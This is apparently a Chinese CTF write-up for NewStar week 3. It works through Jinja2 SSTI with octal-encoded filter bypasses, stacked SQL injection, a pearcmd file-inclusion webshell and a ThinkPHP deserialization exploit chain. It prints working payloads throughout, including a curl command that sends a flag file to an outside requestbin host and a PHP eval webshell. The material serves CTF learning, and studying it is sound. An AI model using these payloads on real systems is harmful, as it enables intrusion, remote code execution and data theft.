NewStar week3
NewStar week3
BabySSTI_One
name={{7*7}}
成功
点被过滤掉了,那么尝试如下
正常
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`过滤点
url?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
但是class,application也被waf了
C++字符串转八进制
#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{string str="__import__('os').popen('curl http://http.requestbin.buuoj.cn/113fh4a1?a=`cat /f1agggghere`').read()";for(int i=0;i<str.length();i++){int temp=int(str[i]);cout<<"\\"<<oct<<temp;}}
来一个新的,为八进制:
{{a|attr("__init__")|attr("__globals__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")}}
发现globals存在
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")}}
发现存在eval
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\47\51\56\162\145\141\144\50\51")}}
成功执行,显示app.py
开始rce
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls /').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51")}}
发现flag_in_here
然后拿flag
{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('cat /flag_in_here ').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\137\151\156\137\150\145\162\145\40\47\51\56\162\145\141\144\50\51")}}flag{cf199c11-24ed-4a69-bac5-40a48c6fea18}
值得注意得是,如果想要检验自己输入得是不是对的,就用下面的脚本来比对,不过网站也有现成工具:
#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{string str="\137\137\147\145\164\151\164\145\155\137\137";cout<<str;
}
另一个payload:
name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}
奥,点根本没被过滤,笑死。
multiSQL
1、一开始就是搜索框
随便输入1,出现如下,而且也没有成绩
2、闭合
1' or 1=1#
没有过滤空格,不对劲,过滤了select。
点击验证会到达一个verify.php,没有425分没得flag。
3、思路
根据hint,需要通过update注入帮改成绩。但是过滤了select就算了,还把update,insert,union也过滤了,奇怪了,想了想,好像只有堆叠注入会有这么多过滤?
尝试如下:
1';show databases;#
1';show tables;#
有了,就是堆叠注入!没有select,我们还有show,甚至是报错,但是报错也需要select,所以用不到。
尝试:
1';show columns from score;#
4、但是replace可以替代insert进行数据插入
1';replace into score values("火华",200,200,200);#
删除低分
1';delete from score where listen=11;#
成功:
拿到flag
flag{Ju3t_use_mo2e_t2en_0ne_SQL}
5、另一种做法,由于没有过滤prepare和引号
1';PREPARE st from concat('upd','ate', ' `score set `listen`=300 where `listen`=200');EXECUTE st;#
但是失败了,尝试如下
1';PREPARE st from concat("repl","ace", " into score values('火华',150,200,200)");EXECUTE st;#
也失败了。。。
用十六进制,即可成功
username=1';set @a=update score set listen = 100 where username = '火华';prepare b from @a;execute b;#
转十六进制后
username=1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare b from @a;execute b;#
IncludeTwo
pear文件包含
文件包含成功
在burp中输入如下payload:注意pearcmd不能有.php,因为本身有加个.php
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/2.php
然后访问
http://42139bb1-2cf8-4cfa-9377-f061583d7fef.node4.buuoj.cn:81/?file=/tmp/2post:cmd=phpinfo();
成功rce
拿到flag
Maybe You Have To think More
1、一看就是thinkphp漏洞了
确定是反序列化漏洞,直接拉网上的exp打。
<?php
namespace think;
abstract class Model
{protected $append = [];private $data = [];function __construct(){$this->append = ["lzx"=>["hello","world"]];$this->data = array('lzx'=>new Request());}
}
class Request
{protected $hook = [];protected $filter;protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '_ajax',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip' => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
但是反序列化点在哪呢,啥都没提示,绝境看cookie。
TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30%3DUrl_decode-------------->TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30=base64_decode---------->O:17:"first\second\user":2:{s:8:"username";s:3:"wqe";s:8:"password";N;}
6,根本没有想到。。。那就直接用上面的exp开打。在env中拿到flag
NewStar week3相关推荐
- excel组合汇总_Excel汇总20180322
excel组合汇总 Spring has finally arrived, so here is a "Goodbye Winter" Excel Roundup, with a ...
- week3 day3 迭代器和生成器
week3 day3 迭代器和生成器 一. 迭代器 1.1 什么是迭代器? 1.2 为何要使用迭代器? 1.3 如何使用迭代器? 1.4 迭代器例子 1.5 for循环的原理 1.6 迭代器的优缺点 ...
- HGame 2023 Week3 部分Writeup
文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week3-bu-fen-writeup 本周在迎新春,走亲戚(真的很忙),外加题目难度增 ...
- BUUCTF NewStarCTF 公开赛赛道Week3 Writeup
文章目录 WEEK3 MISC Whats HTTP WebShell! qsdz's girlfriend 3 Yesec no drumsticks 3 混沌的图像 WEB BabySSTI_On ...
- deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3
deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3 Part 1 Neural Machine Translation Welc ...
- Newstar Ctf 2022| week2 wp
Newstar Ctf 2022| week2 wp Newstar Ctf 2022第二周题目的wp. 文章目录 Newstar Ctf 2022| week2 wp Crypto unusual_ ...
- 纽约大学深度学习PyTorch课程笔记(自用)Week3
纽约大学深度学习PyTorch课程笔记Week3 Week 3 3.1 神经网络参数变换可视化及卷积的基本概念 3.1.1 神经网络的可视化 3.1.2 参数变换 一个简单的参数变换:权重共享 超网络 ...
- Coursera Algorithms week3 快速排序 练习测验: Nuts and bolts
题目原文: Nuts and bolts. A disorganized carpenter has a mixed pile of n nuts and n bolts. The goal is t ...
- Programming Languages PartA Week3学习笔记——SML基本语法第二部分
文章目录 Building Compound Types Records Tuples as Syntactic Sugar Datatype Bindings Case Expressions Us ...
最新文章
- Centos6.4下安装及配置FTP Server
- 【JAVA进阶】——myEclipse连接mysql启动数据库服务
- 【OS】期末总结复习
- Servlet使用适配器模式进行增删改查案例(DeptServiceImpl.java)
- 使用JSF 2.0可以更轻松地进行多字段验证
- draft.js_如何使用快捷方式在Draft.js中创建有序列表和无序列表
- git撤销分支上代码的修改
- matlab 动画_MATLAB作图实例:51:表面动画
- ARMam3354linux系统开发,ARM板移植Linux系统启动(四)配置Kernel
- 黑马程序员————java中面向对象的三大特性
- Java代码调用第三方接口发送短信
- 将多张小图片合并成一张大图片 Python3
- AAEGan 简介与代码实战
- ModelsimSE debussy
- 京东到家搜索系统架构演进
- web浮动框架 简易灯箱画廊设计
- 群发微信图文消息,但是正文中的图片却不显示
- 操作系统用户接口与计算机接口有什么区别,1.操作系统既是硬件与其他软件的接口,又是用户与计算机之间的接口。...
- 唯此间江湖年少,偏爱纵横天下。
- 用mp3stego来加密与解密文件的几次尝试